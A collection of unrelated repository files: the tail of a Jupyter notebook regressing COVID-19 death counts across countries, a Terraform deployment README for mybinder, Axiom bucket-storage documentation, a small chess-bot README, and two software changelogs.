            ax.plot(row['x'], label=i[0])
            ax.plot(row['y'], label=i[1])
            ax.plot(row['predicted'], '--', label=f"{i[1]} (predicted)")
            ax.set_xlabel("Days since the first death by COVID-19")
            ax.set_ylabel("Number of deaths")
        else:
            ax.plot(row['x'][:row['y'].shape[0]], row['y'], label='True value')
            ax.plot(row['x'], row['predicted'], '--', label='Predicted')
            ax.set_xlabel(i[0])
            ax.set_ylabel(i[1])

        ax.grid(True)
        ax.legend(title="$r^2={:.3f}$".format(row['r_score']),
                  loc='upper left')

    fig.set_size_inches(*figsize)
    return fig
```

```python
# Getting the population information
!wget {url_pop} -O pop.zip
!unzip -o pop.zip -d pop_csv
# Load the population file
df_pop_ = pd.read_csv(glob('pop_csv/API_SP.POP.TOTL*.csv')[0],  skiprows=4)
df_pop = df_pop_[['Country Name', '2018']].set_index('Country Name')
# Delete the files downloaded
!rm -r pop_csv
```

    --2020-05-11 22:03:17--  http://api.worldbank.org/v2/en/indicator/SP.POP.TOTL?downloadformat=csv
    Resolving api.worldbank.org (api.worldbank.org)... <IP_ADDRESS>
    Connecting to api.worldbank.org (api.worldbank.org)|<IP_ADDRESS>|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 78803 (77K) [application/zip]
    Saving to: ‘pop.zip’

    pop.zip             100%[===================>]  76.96K   152KB/s    in 0.5s

    2020-05-11 22:03:19 (152 KB/s) - ‘pop.zip’ saved [78803/78803]

    Archive:  pop.zip
      inflating: pop_csv/Metadata_Indicator_API_SP.POP.TOTL_DS2_en_csv_v2_988606.csv
      inflating: pop_csv/API_SP.POP.TOTL_DS2_en_csv_v2_988606.csv
      inflating: pop_csv/Metadata_Country_API_SP.POP.TOTL_DS2_en_csv_v2_988606.csv

```python
# Loading the data for the number of Deaths
df_death = pd.read_csv(url_covid_death)

df = set_index(df_death)

# Groupy territories per country
df = df.groupby(level=1, axis=1).sum()

# # Drop all-zeros columns
df = df[df.sum()[lambda s: s > 0].index]

# # Shift all series to the origin (first death)
df = get_same_origin(df)
```

```python
# Ignore countries with less than 1M
countries = [c for c in df.columns if c not in
             df_pop[lambda df_: df_['2018'] < 10**6].index]

compute_lr_parallel = partial(compute_lr, df_covid=df[countries])

with Pool(8) as pool:
    results = {}
    for res_dict in tqdm(pool.imap(compute_lr_parallel, enumerate(countries)),
                         total=df.shape[0]):
        results.update(res_dict)
df_results = pd.DataFrame.from_dict(results, orient='index')
```

    144it [00:02, 50.77it/s]

# Plots

## Linear Regression Results

The first set of figures shows the output for the linear regression, considering the number of deaths from Brazil as the response variable (y-axis) and each of the other countries as the dependent variable (x-axis).

```python
df_brazil = df_results[lambda df: (df.index.get_level_values(1) == 'Brazil')].sort_values('r_score', ascending=False)
fig1 = plot_candidates(df_brazil, over_days=False)
```

![png](covid_linear_reg_8_0.png)

## Predictions

The second set shows the prediction, for the number of deaths in Brazil, according to the line fitted to each of the other countries. The number of days in future is limited by the data available for the other country.

```python
fig2 = plot_candidates(df_, over_days=True)
```

![png](covid_linear_reg_10_0.png)

repository: luizvbo/academic-kickstart

repo_name: luizvbo/academic-kickstart


text:
# Terraform deployment info

Common configuration is in terraform/modules/mybinder

most deployed things are in mybinder/resource.tf
variables (mostly things that should differ in staging/prod) in mybinder/variables.tf

per-deployment config in $deployment/main.tf

Variables declared in mybinder/variables.tf can be overridden in $deployment/main.tf

First you must login to `gcloud` to gain application credentials:

```bash
gcloud auth application-default login
```

Then, to deploy e.g. staging:

```bash
cd staging
terraform apply
```

which will create a plan and prompt for confirmation.

Review the proposed changes and if they look right, type 'yes' to apply the changes.

## Getting secrets out

Terraform will create the service accounts needed for the deployment.
The private keys for these will need to be exported to `secrets/config/$deployment.yaml`.
**This part is not yet automated**.

To get a service-account key for deployment:

```bash
cd terraform/staging

terraform output -json private_keys | jq -r '.deployer' > ../../secrets/gke-auth-key-staging2.json
```

and to get private keys to put in secrets/config/${deployment}.yaml:

```bash
terraform output -json private_keys | jq '.["events-archiver"]' | pbcopy
```

with key names: "events-archiver", "matomo", and "binderhub-builder" and paste them into the appropriate fields in `secrets/config/$deployment.yaml`.

### Notes

- requesting previously-allocated static ip via loadBalancerIP did not work.
  Had to manually mark LB IP as static via cloud console.

- sql admin API needed to be manually enabled [here](https://console.developers.google.com/apis/library/sqladmin.googleapis.com)
- matomo sql data was manually imported/exported via sql dashboard and gsutil in cloud console
- events archive history was manually migrated via `gsutil -m rsync` in cloud console

gha_language: Jupyter Notebook


text:
---
section: build
title: Storing User Data
---

By default, all data stored on Axiom is unencrypted. Applications can
retrieve arbitrary data stored in buckets via the API.

Buckets are specified by two strings, the application tag and the
bucket name. Each of these must be at least six letters long, to
discourage collisions. One useful pattern is to pick a unique name for your
application, and use that as the application tag. Then, you can pick a
user-specific name for the bucket name, like the user's public key, or
a username they pick themselves.

Let's say we're building an application that keeps track of a
counter for each user. We'll name it `counter`, and have each user
store their data in a bucket with the `counter` application tag, and a
bucket name of their own public key.

We can use the [axiom.getBucket](#docs-api-axiom-getbucket) method to check if a bucket exists
already, and we can use the [axiom.createBucket](#docs-api-axiom-createbucket) method to create a bucket on
behalf of the user. Try replacing the
`onClick` logic in our application with this:

```javascript
async onClick() {
  let key = await this.axiom.getPublicKey();
  let bucket = await this.axiom.getBucket("counter", key);
  if (bucket) {
    this.setState({ message: "the bucket already exists" });
  } else {
    await this.axiom.createBucket("counter", key, 1);
    this.setState({ message: "created a bucket" });
  }
}
```

The same pattern for permissions operates here as with login. Since
data is public, getting a bucket requires no permissions. Creating a
new bucket does require the user to grant permission. If this
permission has not already been granted, an extension popup opens so
that the user can grant permission.

Try running this application and clicking the button. The first time
you run this code, it should discover that the bucket does not exist,
prompt you for permission, and create the bucket for you. The next
time you run this code, it should tell you that the bucket already
exists.

While buckets are often created by individual applications, the user
maintains control. For example, you can delete this bucket from the
CLI when you are done with this sample application. To list all
buckets you are using, run [axiom get-buckets](#docs-cli-axiom-get-buckets):

```bash
axiom get-buckets
```

Then you can delete any you are not using with [axiom delete-bucket](#docs-cli-axiom-delete-bucket):

```bash
axiom delete-bucket <full-name>
```

This is similar to how applications are installed on a PC hard
drive. A well-behaved application will offer ways to uninstall or
clean itself up. But even when an application is not well-behaved, you
can delete the folder that its files are installed into. The
permission model here also prevents some forms of bad behavior. An
application can write to the bucket or buckets that the user gives it
permission for, but an application doesn't have the ability to modify
all the files you own.


text:
# Chesspacito
### Empezemos lento, despues jaquemate
Play chess... Slowly

To run, start the docker environment with
`./build.sh`
and run
`hello_bot/run.sh`.

This program was based on the [Webex example bot](https://github.com/haskalpa/docker-webexteams-bot-example) and built in about half an hour. Consult the example bot page for further help.

repository: tobyjamez/chesspacito

repo_name: tobyjamez/chesspacito


text:
Changelog
=========

> **Tags:**
> - :boom:       [Breaking Change]
> - :rocket:     [New Feature]
> - :bug:        [Bug Fix]
> - :memo:       [Documentation]
> - :house:      [Internal]
> - :nail_care:  [Polish]

## v3.87.1 (2022-08-15)

#### :bug: Bug Fix

* Fixed setting new properties of a watchable object by a deep path using the accessor-based engine
* Now watchable Map uses the `entries` iterator by default

## v3.79.0 (2022-03-18)

#### :rocket: New Feature

* Added a new global function `unwatchable`

## v3.73.3 (2022-01-10)

#### :bug: Bug Fix

* Fixed emitting of mutation events produced via `Object.defineProperty`

## v3.73.0 (2021-12-14)

#### :bug: Bug Fix

* Now all properties that are added via `Object.defineProperty` can be handled via a proxy-based watcher

## v3.72.0 (2021-12-10)

#### :bug: Bug Fix

* Removed generator methods from base iterators

## v3.62.3 (2021-11-09)

#### :bug: Bug Fix

* Fixed deep watching for array dependencies

## v3.62.2 (2021-11-09)

#### :bug: Bug Fix

* Fixed deep watching for an array element

## v3.62.1 (2021-11-08)

#### :bug: Bug Fix

* Fixed watching for an array by a complex path with indices

## v3.56.1 (2021-07-28)

#### :bug: Bug Fix

* Readonly non-configurable values can't be watched via Proxy

## v3.56.0 (2021-07-25)

#### :bug: Bug Fix

* Fixed an issue when modifying a prototype value of the watched object

## v3.54.4 (2021-07-18)

#### :bug: Bug Fix

* Fixed a bug when the tied path can be mutated from handlers

## v3.54.3 (2021-07-16)

#### :bug: Bug Fix

* Fixed watching for specific paths with collapsing

## v3.54.2 (2021-07-14)

#### :bug: Bug Fix

* Fixed watching of values from iterable objects

## v3.45.0 (2021-05-12)

#### :bug: Bug Fix

* Fixed a bug when watching an object by the specified path when occurring a mutation of nested properties

#### :memo: Documentation

* Improved documentation

## v3.32.0 (2021-02-05)

#### :bug: Bug Fix

* Fixed an issue when trying to set a property by the complex path

## v3.27.4 (2020-09-29)

#### :bug: Bug Fix

* Fixed a bug when a deleted property won't be deleted from an object if using `unset`
* Fixed restoring of an old value `engines/accessors/set`

#### :house: Internal

* Refactoring

## v3.27.2 (2020-09-18)

#### :bug: Bug Fix

* Fixed a bug when a new value to set is equal by a link with the previous

## v3.22.5 (2020-07-31)

#### :bug: Bug Fix

* Fixed `engines/accessors/set`

## v3.22.2 (2020-07-21)

#### :bug: Bug Fix

* Fixed deep watching by a complex path with overrides

```js
const obj = {
  a: {
    b: {
      c: 1
    }
  }
};

const {proxy} = watch(obj, 'a.b.c', (newVal, oldVal) => {
  console.log(newVal, oldVal);
});

proxy.a.b = {c: 1};
```

## v3.22.1 (2020-07-20)

#### :bug: Bug Fix

* Fixed deep watching by a complex path

## v3.22.0 (2020-07-14)

#### :rocket: New Feature

* Added `isProxy`

## v3.20.0 (2020-07-05)

#### :rocket: New Feature

* Added tests

#### :bug: Bug Fix

* Fixed bugs

## v3.16.0 (2020-05-21)

#### :rocket: New Feature

* Added a feature to provide a custom watch engine

#### :bug: Bug Fix

* Fixed watching of arrays
* Fixed proxy arrays concatenation

#### :house: Tests

* Added `spec.js` with some test cases for arrays


text:
# Changelog

## 1.3.1

Removes some transitory code used to update to new setting names and updates dependencies.

## 1.1.0

Fixes issue where the theme wouldn't update after coming out of restore on Linux.

## 1.0.6

Should fix the issue where we were using local ip addresses rather than public.

## 1.0.5

Fixes issue where manually setting the time didn't do anything.

## 1.0.4

Fixes bug where `nightswitch.geolocation` did not have the same name in the code

## 1.0.1

Updates readme

## 1.0.0

Removes useless line updating the location setting from geolocation

## 0.1.1

Corrects version number

## 0.1.0

Gives priority to location. If using geolocation updates location to decrease workload.

## 0.0.3

Creates changelog and updates docs.

## 0.0.2

Changes to documentation, fixes a couple of bugs with commands

## 0.0.1

Initial release. Still probably pretty buggy (I wrote this pretty hastily).

repository: gharveymn/nightswitch

gha_language: TypeScript

repo_name: gharveymn/nightswitch